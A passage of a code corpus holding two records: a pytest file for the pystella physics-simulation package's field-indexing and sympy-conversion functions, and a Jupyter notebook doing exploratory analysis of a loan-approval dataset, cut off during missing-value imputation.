{"text": "__copyright__ = \"Copyright (C) 2019 Zachary J Weiner\"\r\n\r\n__license__ = \"\"\"\r\nPermission is hereby granted, free of charge, to any person obtaining a copy\r\nof this software and associated documentation files (the \"Software\"), to deal\r\nin the Software without restriction, including without limitation the rights\r\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\ncopies of the Software, and to permit persons to whom the Software is\r\nfurnished to do so, subject to the following conditions:\r\n\r\nThe above copyright notice and this permission notice shall be included in\r\nall copies or substantial portions of the Software.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\nTHE SOFTWARE.\r\n\"\"\"\r\n\r\n\r\nimport pystella as ps\r\nfrom pymbolic import parse, var\r\nfrom pystella.field import shift_fields\r\nimport pytest\r\n\r\n\r\ndef test_field(proc_shape):\r\n    if proc_shape != (1, 1, 1):\r\n        pytest.skip(\"test field only on one rank\")\r\n\r\n    y = ps.Field(\"y\", offset=\"h\")\r\n    result = ps.index_fields(y)\r\n    assert result == parse(\"y[i + h, j + h, k + h]\"), result\r\n\r\n    y = ps.Field(\"y\", offset=\"h\", indices=(\"a\", \"b\", \"c\"))\r\n    result = ps.index_fields(y)\r\n    assert result == parse(\"y[a + h, b + h, c + h]\"), result\r\n\r\n    y = ps.Field(\"y\", ignore_prepends=True)\r\n    result = ps.index_fields(y, prepend_with=(0, 1))\r\n    assert result == parse(\"y[i, j, k]\"), result\r\n\r\n    y = ps.Field(\"y[4, 5]\", ignore_prepends=True)\r\n    result = ps.index_fields(y, prepend_with=(0, 1))\r\n    assert result == parse(\"y[4, 5, i, j, k]\"), result\r\n\r\n    y = ps.Field(\"y\", ignore_prepends=True)\r\n    result = ps.index_fields(y[2, 3], prepend_with=(0, 1))\r\n    assert result == parse(\"y[2, 3, i, j, k]\"), result\r\n\r\n    y = ps.Field(\"y[4, 5]\", ignore_prepends=True)\r\n    result = ps.index_fields(y[2, 3], prepend_with=(0, 1))\r\n    assert result == parse(\"y[2, 3, 4, 5, i, j, k]\"), result\r\n\r\n    y = ps.Field(\"y\", ignore_prepends=False)\r\n    result = ps.index_fields(y, prepend_with=(0, 1))\r\n    assert result == parse(\"y[0, 1, i, j, k]\"), result\r\n\r\n    y = ps.Field(\"y[4, 5]\", ignore_prepends=False)\r\n    result = ps.index_fields(y, prepend_with=(0, 1))\r\n    assert result == parse(\"y[0, 1, 4, 5, i, j, k]\"), result\r\n\r\n    y = ps.Field(\"y\", ignore_prepends=False)\r\n    result = ps.index_fields(y[2, 3], prepend_with=(0, 1))\r\n    assert result == parse(\"y[0, 1, 2, 3, i, j, k]\"), result\r\n\r\n    y = ps.Field(\"y[4, 5]\", ignore_prepends=False)\r\n    result = ps.index_fields(y[2, 3], prepend_with=(0, 1))\r\n    assert result == parse(\"y[0, 1, 2, 3, 4, 5, i, j, k]\"), result\r\n\r\n    y = ps.Field(\"y\", offset=(\"hx\", \"hy\", \"hz\"))\r\n    result = ps.index_fields(shift_fields(y, (1, 2, 3)))\r\n    assert result == parse(\"y[i + hx + 1, j + hy + 2, k + hz + 3]\"), result\r\n\r\n    y = ps.Field(\"y\", offset=(\"hx\", var(\"hy\"), \"hz\"))\r\n    result = ps.index_fields(shift_fields(y, (1, 2, var(\"a\"))))\r\n    assert result == parse(\"y[i + hx + 1, j + hy + 2, k + hz + a]\"), result\r\n\r\n\r\ndef test_dynamic_field(proc_shape):\r\n    if proc_shape != (1, 1, 1):\r\n        pytest.skip(\"test field only on one rank\")\r\n\r\n    y = ps.DynamicField(\"y\", offset=\"h\")\r\n\r\n    result = ps.index_fields(y)\r\n    assert result == parse(\"y[i + h, j + h, k + h]\"), result\r\n\r\n    result = ps.index_fields(y.lap)\r\n    assert result == parse(\"lap_y[i, j, k]\"), result\r\n\r\n    result = ps.index_fields(y.dot)\r\n    assert result == parse(\"dydt[i + h, j + h, k + h]\"), result\r\n\r\n    result = ps.index_fields(y.pd[var(\"x\")])\r\n    assert result == parse(\"dydx[x, i, j, k]\"), result\r\n\r\n    result = ps.index_fields(y.d(1, 0))\r\n    assert result == parse(\"dydt[1, i + h, j + h, k + h]\"), result\r\n\r\n    result = ps.index_fields(y.d(1, 1))\r\n    assert result == parse(\"dydx[1, 0, i, j, k]\"), result\r\n\r\n\r\ndef test_field_diff(proc_shape):\r\n    if proc_shape != (1, 1, 1):\r\n        pytest.skip(\"test field only on one rank\")\r\n\r\n    from pystella import diff\r\n\r\n    y = ps.Field(\"y\")\r\n    assert diff(y, y) == 1\r\n    assert diff(y[0], y[0]) == 1\r\n    assert diff(y[0], y[1]) == 0\r\n\r\n    y = ps.DynamicField(\"y\")\r\n    assert diff(y, y) == 1\r\n    assert diff(y[0], y[0]) == 1\r\n    assert diff(y[0], y[1]) == 0\r\n\r\n    import pymbolic.primitives as pp\r\n    assert diff(y**3, y, \"t\") == pp.Product((3, 2, y, y.d(0)))\r\n    assert diff(y**3, \"t\", y) == pp.Product((3, y.d(0), 2, y))\r\n\r\n    for i, x in enumerate([\"t\", \"x\", \"y\", \"z\"]):\r\n        assert diff(y, x) == y.d(i)\r\n        assert diff(y[1, 3], x) == y.d(1, 3, i)\r\n        assert diff(y[1]**2, x) == 2 * y[1] * y.d(1, i)\r\n\r\n\r\ndef test_get_field_args(proc_shape):\r\n    if proc_shape != (1, 1, 1):\r\n        pytest.skip(\"test field only on one rank\")\r\n\r\n    from pystella import Field, DynamicField, get_field_args\r\n\r\n    x = Field(\"x\", offset=(1, 2, 3))\r\n    y = Field(\"y\", offset=\"h\")\r\n    z = DynamicField(\"z\", shape=(2, \"a\"))\r\n\r\n    import loopy as lp\r\n    true_args = [\r\n        lp.GlobalArg(\"x\", shape=\"(Nx+2, Ny+4, Nz+6)\", offset=lp.auto),\r\n        lp.GlobalArg(\"y\", shape=\"(Nx+2*h, Ny+2*h, Nz+2*h)\", offset=lp.auto),\r\n        lp.GlobalArg(\"z\", shape=\"(2, a, Nx, Ny, Nz)\", offset=lp.auto),\r\n        lp.GlobalArg(\"dzdx\", shape=\"(2, a, 3, Nx, Ny, Nz)\", offset=lp.auto),\r\n    ]\r\n\r\n    def lists_equal(a, b):\r\n        equal = True\r\n        for x in a:\r\n            equal *= x in b\r\n        for x in b:\r\n            equal *= x in a\r\n        return equal\r\n\r\n    expressions = {x: y, y: x * z + z.pd[0]}\r\n    args = get_field_args(expressions)\r\n    assert lists_equal(args, true_args)\r\n\r\n    expressions = x * y + z + z.pd[2]\r\n    args = get_field_args(expressions)\r\n    assert lists_equal(args, true_args)\r\n\r\n    expressions = [x, y, y * z**2, 3 + z.pd[0] + z.pd[1]]\r\n    args = get_field_args(expressions)\r\n    assert lists_equal(args, true_args)\r\n\r\n    expressions = [shift_fields(x, (1, 2, 3)), y + z.pd[0], y * z**2]\r\n    args = get_field_args(expressions)\r\n    assert lists_equal(args, true_args)\r\n\r\n\r\ndef test_collect_field_indices(proc_shape):\r\n    if proc_shape != (1, 1, 1):\r\n        pytest.skip(\"test field only on one rank\")\r\n\r\n    from pystella import Field, DynamicField\r\n    from pystella.field import collect_field_indices\r\n\r\n    x = Field(\"x\", offset=(1, 2, 3))\r\n    y = Field(\"y\", indices=(\"i\", \"x\"), offset=\"h\")\r\n    z = DynamicField(\"z\", shape=(2, \"a\"))\r\n\r\n    expressions = {x: y, y: x * z + z.pd[0]}\r\n    indices = collect_field_indices(expressions)\r\n    assert indices == {\"i\", \"j\", \"k\", \"x\"}\r\n\r\n    expressions = [x, z]\r\n    indices = collect_field_indices(expressions)\r\n    assert indices == {\"i\", \"j\", \"k\"}\r\n\r\n    expressions = [shift_fields(x, (1, 2, 3)), y + z.pd[0], y * z**2]\r\n    indices = collect_field_indices(expressions)\r\n    assert indices == {\"i\", \"j\", \"k\", \"x\"}\r\n\r\n\r\ndef test_sympy_interop(proc_shape):\r\n    if proc_shape != (1, 1, 1):\r\n        pytest.skip(\"test field only on one rank\")\r\n\r\n    from pystella.field.sympy import pymbolic_to_sympy, sympy_to_pymbolic\r\n    import sympy as sym\r\n\r\n    f = ps.Field(\"f\", offset=\"h\")\r\n    g = ps.Field(\"g\", offset=\"h\")\r\n\r\n    expr = f[0]**2 * g + 2 * g[1] * f\r\n    sympy_expr = pymbolic_to_sympy(expr)\r\n    new_expr = sympy_to_pymbolic(sympy_expr)\r\n    sympy_expr_2 = pymbolic_to_sympy(new_expr)\r\n    assert sym.simplify(sympy_expr - sympy_expr_2) == 0, \\\r\n        \"sympy <-> pymbolic conversion not invertible\"\r\n\r\n    expr = f + shift_fields(f, (1, 2, 3))\r\n    sympy_expr = pymbolic_to_sympy(expr)\r\n    new_expr = sympy_to_pymbolic(sympy_expr)\r\n    sympy_expr_2 = pymbolic_to_sympy(new_expr)\r\n    assert sym.simplify(sympy_expr - sympy_expr_2) == 0, \\\r\n        \"sympy <-> pymbolic conversion not invertible with shifted indices\"\r\n\r\n    # from pymbolic.functions import fabs, exp, exmp1\r\n    fabs = parse(\"math.fabs\")\r\n    exp = parse(\"math.exp\")\r\n    expm1 = parse(\"math.expm1\")\r\n    x = sym.Symbol(\"x\")\r\n\r\n    expr = sym.Abs(x)\r\n    assert sympy_to_pymbolic(expr) == fabs(var(\"x\"))\r\n\r\n    expr = sym.exp(x)\r\n    assert sympy_to_pymbolic(expr) == exp(var(\"x\"))\r\n\r\n    expr = sym.Function(\"expm1\")(x)  # pylint: disable=E1102\r\n    assert sympy_to_pymbolic(expr) == expm1(var(\"x\"))\r\n\r\n    expr = sym.Function(\"aaa\")(x)  # pylint: disable=E1102\r\n    from pymbolic.primitives import Call, Variable\r\n    assert sympy_to_pymbolic(expr) == Call(Variable(\"aaa\"), (Variable(\"x\"),))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    test_field((1, 1, 1))\r\n    test_dynamic_field((1, 1, 1))\r\n    test_field_diff((1, 1, 1))\r\n    test_get_field_args((1, 1, 1))\r\n    test_collect_field_indices((1, 1, 1))\r\n    test_sympy_interop((1, 1, 1))\r\n", "meta": {"hexsha": "e8d07be23ad1bdd78f18c881bddcc9f9d91cbb90", "size": 8882, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/test_field.py", "max_stars_repo_name": "zachjweiner/pystella", "max_stars_repo_head_hexsha": "2d994d1b9f3d2a39a41bbb821fa37fafec699e0c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 14, "max_stars_repo_stars_event_min_datetime": "2019-10-16T15:08:44.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-06T10:26:11.000Z", "max_issues_repo_path": "test/test_field.py", "max_issues_repo_name": "zachjweiner/pystella", "max_issues_repo_head_hexsha": "2d994d1b9f3d2a39a41bbb821fa37fafec699e0c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test/test_field.py", "max_forks_repo_name": "zachjweiner/pystella", "max_forks_repo_head_hexsha": "2d994d1b9f3d2a39a41bbb821fa37fafec699e0c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-04-13T09:32:55.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-15T13:16:05.000Z", "avg_line_length": 35.246031746, "max_line_length": 78, "alphanum_fraction": 0.5967124522, "include": true, "reason": "import sympy", "num_tokens": 2779, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46490157137338844, "lm_q2_score": 0.11436853070975538, "lm_q1q2_score": 0.05317010964263091}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <h1 align=center>Problem Statement</h1>\n# \n# **About Company**\n# Dream Housing Finance company deals in all home loans. They have presence across all urban, semi urban and rural areas. Customer first apply for home loan after that company validates the customer eligibility for loan.\n# \n# **Problem**\n# Company wants to automate the loan eligibility process (real time) based on customer detail provided while filling online application form. These details are Gender, Marital Status, Education, Number of Dependents, Income, Loan Amount, Credit History and others. To automate this process, they have given a problem to identify the customers segments, those are eligible for loan amount so that they can specifically target these customers. Here they have provided a partial data set.\n# ________________________________________\n# #### Data\n# \n# |Variable|Description|\n# |--------|-----------|\n# |Loan_ID|Unique Loan ID|\n# |Gender|Male/ Female|\n# |Married|Applicant married (Y/N)|\n# |Dependents|Number of dependents|\n# |Education|Applicant Education (Graduate/ Under Graduate)|\n# |Self_Employed|Self employed (Y/N)|\n# |ApplicantIncome|Applicant income|\n# |CoapplicantIncome|Coapplicant income|\n# |LoanAmount|Loan amount in thousands|\n# |Loan_Amount_Term|Term of loan in months|\n# |Credit_History|credit history meets guidelines|\n# |Property_Area|Urban/ Semi Urban/ Rural|\n# |Loan_Status|Loan approved (Y/N)|\n# \n# <hr> \n# \n# Note: \n# 1.\tEvaluation Metric is accuracy i.e. percentage of loan approval you correctly predict[Accuracy Metric,Precision Metric,Classification Report ,Confustion Matrix].\n# 2.\tYou are expected to upload the solution in the format of \"sample_submission.csv\"\n# \n# #### Loading Packages\n\n# In[109]:\n\n\nimport pandas as pd \nimport numpy as np                     # For mathematical calculations \nimport seaborn as sns                  # For data visualization \nimport matplotlib.pyplot as plt        # For plotting graphs \nget_ipython().run_line_magic('matplotlib', 'inline')\nimport pandas_profiling                # Report Generation\nimport warnings                        # To ignore any warnings \nwarnings.filterwarnings(\"ignore\")\n\n\n# #### Data\n# \n# For this practice problem, we have been given three CSV files: train, test and sample submission.\n# \n# * Train file will be used for training the model, i.e. our model will learn from this file. It contains all the independent variables and the target variable.\n# * Test file contains all the independent variables, but not the target variable. We will apply the model to predict the target variable for the test data.\n# * Sample submission file contains the format in which we have to submit our predictions.\n\n# In[110]:\n\n\ntrain=pd.read_csv(\"Data/train_ctrUa4K.csv\") \ntest=pd.read_csv(\"Data/test_lAUu6dG.csv\")\n\n\n# The file name should be replaced with the name of the train and test file that you have downloaded from the github\n# \n# Let\u2019s make a copy of train and test data so that even if we have to make any changes in these datasets we would not lose the original datasets.\n\n# In[111]:\n\n\ntrain_original=train.copy() \ntest_original=test.copy()\n\n\n# In[112]:\n\n\ntrain_original.shape\n\n\n# In[113]:\n\n\ntest_original.shape\n\n\n# In this section, we will look at the structure of the train and test datasets. Firstly, we will check the features present in our data and then we will look at their data types.\n\n# In[114]:\n\n\ntrain.columns\n\n\n# We have 12 independent variables and 1 target variable, i.e. Loan_Status in the train dataset. Let\u2019s also have a look at the columns of test dataset.\n\n# In[115]:\n\n\ntest.columns\n\n\n# We have similar features in the test dataset as the train dataset except the Loan_Status. We will predict the Loan_Status using the model built using the train data.\n# \n# Given below is the description for each variable.\n\n# |Variable|Description|\n# |--------|-----------|\n# |Loan_ID|Unique Loan ID|\n# |Gender|Male/ Female|\n# |Married|Applicant married (Y/N)|\n# |Dependents|Number of dependents|\n# |Education|Applicant Education (Graduate/Under Graduate)|\n# |Self_Employed|Self employed (Y/N)|\n# |ApplicantIncome|Applicant income|\n# |CoapplicantIncome|Coapplicant income|\n# |LoanAmount|Loan amount in thousands|\n# |Loan_Amount_Term|Term of loan in months|\n# |Credit_History|Credit history meets guidelines|\n# |Property_Area|Urban/ Semi Urban/ Rural|\n# |Loan_Status|Loan approved (Y/N)|\n\n# In[116]:\n\n\npd.DataFrame({\"Train_DataTypes\":train.dtypes,\n              \"Test_DataTypes\":test.dtypes})\n\n\n# We can see there are three format of data types:\n# \n# * `object:` Object format means variables are categorical. Categorical variables in our dataset are: Loan_ID, Gender, Married, Dependents, Education, Self_Employed, Property_Area, Loan_Status\n# \n# * `int64:` It represents the integer variables. ApplicantIncome is of this format.\n# \n# * `float64:` It represents the variable which have some decimal values involved. They are also numerical variables. Numerical variables in our dataset are: CoapplicantIncome, LoanAmount, Loan_Amount_Term, and Credit_History\n# Let\u2019s look at the shape of the dataset.\n\n# In[117]:\n\n\ntrain.shape\n\n\n# In[118]:\n\n\ntest.shape\n\n\n# We have 614 rows and 13 columns in the train dataset and 367 rows and 12 columns in test dataset.\n# \n# \n# In this section, we will do univariate analysis. It is the simplest form of analyzing data where we examine each variable individually. For categorical features we can use frequency table or bar plots which will calculate the number of each category in a particular variable. For numerical features, probability density plots can be used to look at the distribution of the variable.\n# \n# #### Target Variable\n# \n# We will first look at the target variable, i.e., Loan_Status. As it is a categorical variable, let us look at its frequency table, percentage distribution and bar plot.\n# \n# Frequency table of a variable will give us the count of each category in that variable.\n\n# In[119]:\n\n\ntrain['Loan_Status'].value_counts()\n\n\n# In[120]:\n\n\n# Normalize can be set to True to print proportions instead of number \ntrain['Loan_Status'].value_counts(normalize=True)\n\n\n# In[121]:\n\n\ntrain['Loan_Status'].value_counts().plot.bar()\n\n\n# The loan of 422(around 69%) people out of 614 was approved.\n# \n# Now lets visualize each variable separately. Different types of variables are Categorical, ordinal and numerical.\n# \n# * Categorical features: These features have categories (Gender, Married, Self_Employed, Credit_History, Loan_Status)\n# Ordinal features: Variables in categorical features having some order involved (Dependents, Education, Property_Area)\n# * Numerical features: These features have numerical values (ApplicantIncome, CoapplicantIncome, LoanAmount, Loan_Amount_Term)\n# Let\u2019s visualize the categorical and ordinal features first.\n\n# In[122]:\n\n\nplt.figure(1) \nplt.subplot(221) \ntrain['Gender'].value_counts(normalize=True).plot.bar(figsize=(20,10), title= 'Gender') \nplt.subplot(222) \ntrain['Married'].value_counts(normalize=True).plot.bar(title= 'Married') \nplt.subplot(223) \ntrain['Self_Employed'].value_counts(normalize=True).plot.bar(title= 'Self_Employed') \nplt.subplot(224) \ntrain['Credit_History'].value_counts(normalize=True).plot.bar(title= 'Credit_History') \nplt.show()\n\n\n# It can be inferred from the above bar plots that:\n# \n# * 80% applicants in the dataset are male.\n# * Around 65% of the applicants in the dataset are married.\n# * Around 15% applicants in the dataset are self employed.\n# * Around 85% applicants have repaid their debts.\n# \n# Now let\u2019s visualize the ordinal variables.\n\n# #### Independent Variable (Ordinal)\n\n# In[123]:\n\n\n\nplt.figure(1) \nplt.subplot(131) \ntrain['Dependents'].value_counts(normalize=True).plot.bar(figsize=(24,6), title= 'Dependents') \nplt.subplot(132) \ntrain['Education'].value_counts(normalize=True).plot.bar(title= 'Education') \nplt.subplot(133) \ntrain['Property_Area'].value_counts(normalize=True).plot.bar(title= 'Property_Area') \nplt.show()\n\n\n# Following inferences can be made from the above bar plots:\n# \n# * Most of the applicants don\u2019t have any dependents.\n# * Around 80% of the applicants are Graduate.\n# * Most of the applicants are from Semiurban area.\n# \n# #### Independent Variable (Numerical)\n# Till now we have seen the categorical and ordinal variables and now lets visualize the numerical variables. Lets look at the distribution of Applicant income first.\n\n# In[124]:\n\n\nplt.figure(1) \nplt.subplot(121) \nsns.distplot(train['ApplicantIncome']); \nplt.subplot(122) \ntrain['ApplicantIncome'].plot.box(figsize=(16,5)) \nplt.show()\n\n\n# It can be inferred that most of the data in the distribution of applicant income is towards left which means it is not normally distributed. We will try to make it normal in later sections as algorithms works better if the data is normally distributed.\n# \n# The boxplot confirms the presence of a lot of outliers/extreme values. This can be attributed to the income disparity in the society. Part of this can be driven by the fact that we are looking at people with different education levels. Let us segregate them by Education:\n\n# In[125]:\n\n\ntrain.boxplot(column='ApplicantIncome', by = 'Education') \nplt.suptitle(\"\")\n\n\n# We can see that there are a higher number of graduates with very high incomes, which are appearing to be the outliers.\n# \n# Let\u2019s look at the Coapplicant income distribution.\n\n# In[126]:\n\n\nplt.figure(1) \nplt.subplot(121) \nsns.distplot(train['CoapplicantIncome']); \nplt.subplot(122) \ntrain['CoapplicantIncome'].plot.box(figsize=(16,5)) \nplt.show()\n\n\n# We see a similar distribution as that of the applicant income. Majority of coapplicant\u2019s income ranges from 0 to 5000. We also see a lot of outliers in the coapplicant income and it is not normally distributed.\n# \n# Let\u2019s look at the distribution of LoanAmount variable.\n\n# In[127]:\n\n\nplt.figure(1) \nplt.subplot(121) \ndf=train.dropna(inplace=True) \nsns.distplot(train['LoanAmount']); \nplt.subplot(122) \ntrain['LoanAmount'].plot.box(figsize=(16,5)) \nplt.show()\n\n\n# We see a lot of outliers in this variable and the distribution is fairly normal. We will treat the outliers in later sections.\n# \n# Now we would like to know how well each feature correlate with Loan Status. So, in the next section we will look at bivariate analysis.\n# \n# \n# Lets recall some of the hypotheses that we generated earlier:\n# \n# * Applicants with high income should have more chances of loan approval.\n# * Applicants who have repaid their previous debts should have higher chances of loan approval.\n# * Loan approval should also depend on the loan amount. If the loan amount is less, chances of loan approval should be high.\n# * Lesser the amount to be paid monthly to repay the loan, higher the chances of loan approval.\n# \n# Lets try to test the above mentioned hypotheses using bivariate analysis\n# \n# After looking at every variable individually in univariate analysis, we will now explore them again with respect to the target variable.\n# \n# #### Categorical Independent Variable vs Target Variable\n# \n# First of all we will find the relation between target variable and categorical independent variables. Let us look at the stacked bar plot now which will give us the proportion of approved and unapproved loans.\n\n# In[128]:\n\n\nGender=pd.crosstab(train['Gender'],train['Loan_Status']) \nGender.div(Gender.sum(1).astype(float), axis=0).plot(kind=\"bar\", stacked=True, figsize=(16,9))\n\n\n# It can be inferred that the proportion of male and female applicants is more or less same for both approved and unapproved loans.\n# \n# Now let us visualize the remaining categorical variables vs target variable.\n\n# In[129]:\n\n\nMarried=pd.crosstab(train['Married'],train['Loan_Status']) \nDependents=pd.crosstab(train['Dependents'],train['Loan_Status']) \nEducation=pd.crosstab(train['Education'],train['Loan_Status']) \nSelf_Employed=pd.crosstab(train['Self_Employed'],train['Loan_Status']) \n\n\n# In[130]:\n\n\nMarried.div(Married.sum(1).astype(float), axis=0).plot(kind=\"bar\", stacked=True, figsize=(16,9)) \nplt.show() \n\n\n# In[131]:\n\n\nDependents.div(Dependents.sum(1).astype(float), axis=0).plot(kind=\"bar\", stacked=True,figsize=(16,9)) \nplt.show() \n\n\n# In[132]:\n\n\nEducation.div(Education.sum(1).astype(float), axis=0).plot(kind=\"bar\", stacked=True, figsize=(16,9)) \nplt.show() \n\n\n# In[133]:\n\n\nSelf_Employed.div(Self_Employed.sum(1).astype(float), axis=0).plot(kind=\"bar\", stacked=True, figsize=(16,9)) \nplt.show()\n\n\n# * Proportion of married applicants is higher for the approved loans.\n# * Distribution of applicants with 1 or 3+ dependents is similar across both the categories of Loan_Status.\n# * There is nothing significant we can infer from Self_Employed vs Loan_Status plot.\n# \n# Now we will look at the relationship between remaining categorical independent variables and Loan_Status.\n\n# In[134]:\n\n\nCredit_History=pd.crosstab(train['Credit_History'],train['Loan_Status']) \nProperty_Area=pd.crosstab(train['Property_Area'],train['Loan_Status']) \n\n\n# In[135]:\n\n\nCredit_History.div(Credit_History.sum(1).astype(float), axis=0).plot(kind=\"bar\", stacked=True, figsize=(16,9))\nplt.show() \n\n\n# In[136]:\n\n\nProperty_Area.div(Property_Area.sum(1).astype(float), axis=0).plot(kind=\"bar\", stacked=True,figsize=(16,9)) \nplt.show()\n\n\n# * It seems people with credit history as 1 are more likely to get their loans approved.\n# * Proportion of loans getting approved in semiurban area is higher as compared to that in rural or urban areas.\n# \n# Now let\u2019s visualize numerical independent variables with respect to target variable.\n# \n# ### Numerical Independent Variable vs Target Variable\n# We will try to find the mean income of people for which the loan has been approved vs the mean income of people for which the loan has not been approved.\n\n# In[137]:\n\n\ntrain.groupby('Loan_Status')['ApplicantIncome'].mean().plot.bar(figsize=(16,9))\n\n\n# Here the y-axis represents the mean applicant income. We don\u2019t see any change in the mean income. So, let\u2019s make bins for the applicant income variable based on the values in it and analyze the corresponding loan status for each bin.\n\n# In[138]:\n\n\nbins=[0,2500,4000,6000,81000] \ngroup=['Low','Average','High', 'Very high'] \ntrain['Income_bin']=pd.cut(train['ApplicantIncome'],bins,labels=group)\nIncome_bin=pd.crosstab(train['Income_bin'],train['Loan_Status']) \n\n\n# In[139]:\n\n\nIncome_bin.div(Income_bin.sum(1).astype(float), axis=0).plot(kind=\"bar\", stacked=True,figsize=(16,9)) \nplt.xlabel('ApplicantIncome') \nP = plt.ylabel('Percentage')\n\n\n# It can be inferred that Applicant income does not affect the chances of loan approval which contradicts our hypothesis in which we assumed that if the applicant income is high the chances of loan approval will also be high.\n# \n# We will analyze the coapplicant income and loan amount variable in similar manner.\n\n# In[140]:\n\n\nbins=[0,1000,3000,42000] \ngroup=['Low','Average','High'] \ntrain['Coapplicant_Income_bin']=pd.cut(train['CoapplicantIncome'],bins,labels=group)\nCoapplicant_Income_bin=pd.crosstab(train['Coapplicant_Income_bin'],train['Loan_Status']) \n\n\n# In[141]:\n\n\nCoapplicant_Income_bin.div(Coapplicant_Income_bin.sum(1).astype(float), axis=0).plot(kind=\"bar\", stacked=True,figsize=(16,9)) \nplt.xlabel('CoapplicantIncome')\nplt.ylabel('Percentage')\n\n\n# It shows that if coapplicant\u2019s income is less the chances of loan approval are high. But this does not look right. The possible reason behind this may be that most of the applicants don\u2019t have any coapplicant so the coapplicant income for such applicants is 0 and hence the loan approval is not dependent on it. So we can make a new variable in which we will combine the applicant\u2019s and coapplicant\u2019s income to visualize the combined effect of income on loan approval.\n# \n# Let us combine the Applicant Income and Coapplicant Income and see the combined effect of Total Income on the Loan_Status.\n\n# In[142]:\n\n\ntrain['Total_Income']=train['ApplicantIncome']+train['CoapplicantIncome']\nbins=[0,2500,4000,6000,81000] \ngroup=['Low','Average','High', 'Very high'] \ntrain['Total_Income_bin']=pd.cut(train['Total_Income'],bins,labels=group)\nTotal_Income_bin=pd.crosstab(train['Total_Income_bin'],train['Loan_Status']) \n\n\n# In[143]:\n\n\nTotal_Income_bin.div(Total_Income_bin.sum(1).astype(float), axis=0).plot(kind=\"bar\", stacked=True,figsize=(20,9)) \nplt.xlabel('Total_Income') \nplt.ylabel('Percentage')\n\n\n# We can see that Proportion of loans getting approved for applicants having low Total_Income is very less as compared to that of applicants with Average, High and Very High Income.\n# \n# Let\u2019s visualize the Loan amount variable.\n\n# In[144]:\n\n\nbins=[0,100,200,700] \ngroup=['Low','Average','High'] \ntrain['LoanAmount_bin']=pd.cut(train['LoanAmount'],bins,labels=group)\nLoanAmount_bin=pd.crosstab(train['LoanAmount_bin'],train['Loan_Status'])\n\n\n# In[145]:\n\n\nLoanAmount_bin.div(LoanAmount_bin.sum(1).astype(float), axis=0).plot(kind=\"bar\", stacked=True) \nplt.xlabel('LoanAmount')\nplt.ylabel('Percentage')\n\n\n# It can be seen that the proportion of approved loans is higher for Low and Average Loan Amount as compared to that of High Loan Amount which supports our hypothesis in which we considered that the chances of loan approval will be high when the loan amount is less.\n# \n# Let\u2019s drop the bins which we created for the exploration part. We will change the 3+ in dependents variable to 3 to make it a numerical variable.We will also convert the target variable\u2019s categories into 0 and 1 so that we can find its correlation with numerical variables. One more reason to do so is few models like logistic regression takes only numeric values as input. We will replace N with 0 and Y with 1.\n\n# In[146]:\n\n\ntrain=train.drop(['Income_bin', 'Coapplicant_Income_bin', 'LoanAmount_bin', 'Total_Income_bin', 'Total_Income'], axis=1)\ntrain['Dependents'].replace('3+', 3,inplace=True) \ntest['Dependents'].replace('3+', 3,inplace=True) \ntrain['Loan_Status'].replace('N', 0,inplace=True) \ntrain['Loan_Status'].replace('Y', 1,inplace=True)\n\n\n# Now lets look at the correlation between all the numerical variables. We will use the heat map to visualize the correlation. Heatmaps visualize data through variations in coloring. The variables with darker color means their correlation is more.\n\n# In[149]:\n\n\nmatrix = train.corr() \nf, ax = plt.subplots(figsize=(16, 9)) \nsns.heatmap(matrix, vmax=.8, square=True, cmap=\"BuPu\");\n\n\n# We see that the most correlated variables are (ApplicantIncome - LoanAmount) and (Credit_History - Loan_Status). LoanAmount is also correlated with CoapplicantIncome.\n\n# After exploring all the variables in our data, we can now impute the missing values and treat the outliers because missing data and outliers can have adverse effect on the model performance.\n# \n# ### Missing value imputation\n# Let\u2019s list out feature-wise count of missing values.\n\n# In[151]:\n\n\ntrain.isnull().sum()\n\n\n# There are missing values in Gender, Married, Dependents, Self_Employed, LoanAmount, Loan_Amount_Term and Credit_History features.\n# \n# We will treat the missing values in all the features one by one.\n# \n# We can consider these methods to fill the missing values:\n# \n# * For numerical variables: imputation using mean or median\n# * For categorical variables: imputation using mode\n# There are very less missing values in Gender, Married, Dependents, Credit_History and Self_Employed features so we can fill them using the mode of the features.\n\n# In[154]:\n\n\ntrain['Gender'].fillna(train['Gender'].mode()[0], inplace=True) \ntrain['Married'].fillna(train['Married'].mode()[0], inplace=True) \ntrain['Dependents'].fillna(train['Dependents'].mode()[0], inplace=True) \ntrain['Self_Employed'].fillna(train['Self_Employed'].mode()[0], inplace=True) \ntrain['Credit_History'].fillna(train['Credit_History'].mode()[0], inplace=True)\n\n\n# Now let\u2019s try to find a way to fill the missing values in Loan_Amount_Term. We will look at the value count of the Loan amount term variable.\n\n# In[156]:\n\n\ntrain['Loan_Amount_Term'].value_counts()\n\n\n# It can be seen that in loan amount term variable, the value of 360 is repeating the most. So we will replace the missing values in this variable using the mode of this variable.\n\n# In[158]:\n\n\ntrain['Loan_Amount_Term'].fillna(train['Loan_Amount_Term'].mode()[0], inplace=True)\n\n\n# Now we will see the LoanAmount variable. As it is a numerical variable, we can use mean or median to impute the missing values. We will use median to fill the null values as earlier we saw that loan amount have outliers so the mean will not be the proper approach as it is highly affected by the presence of outliers.\n\n# 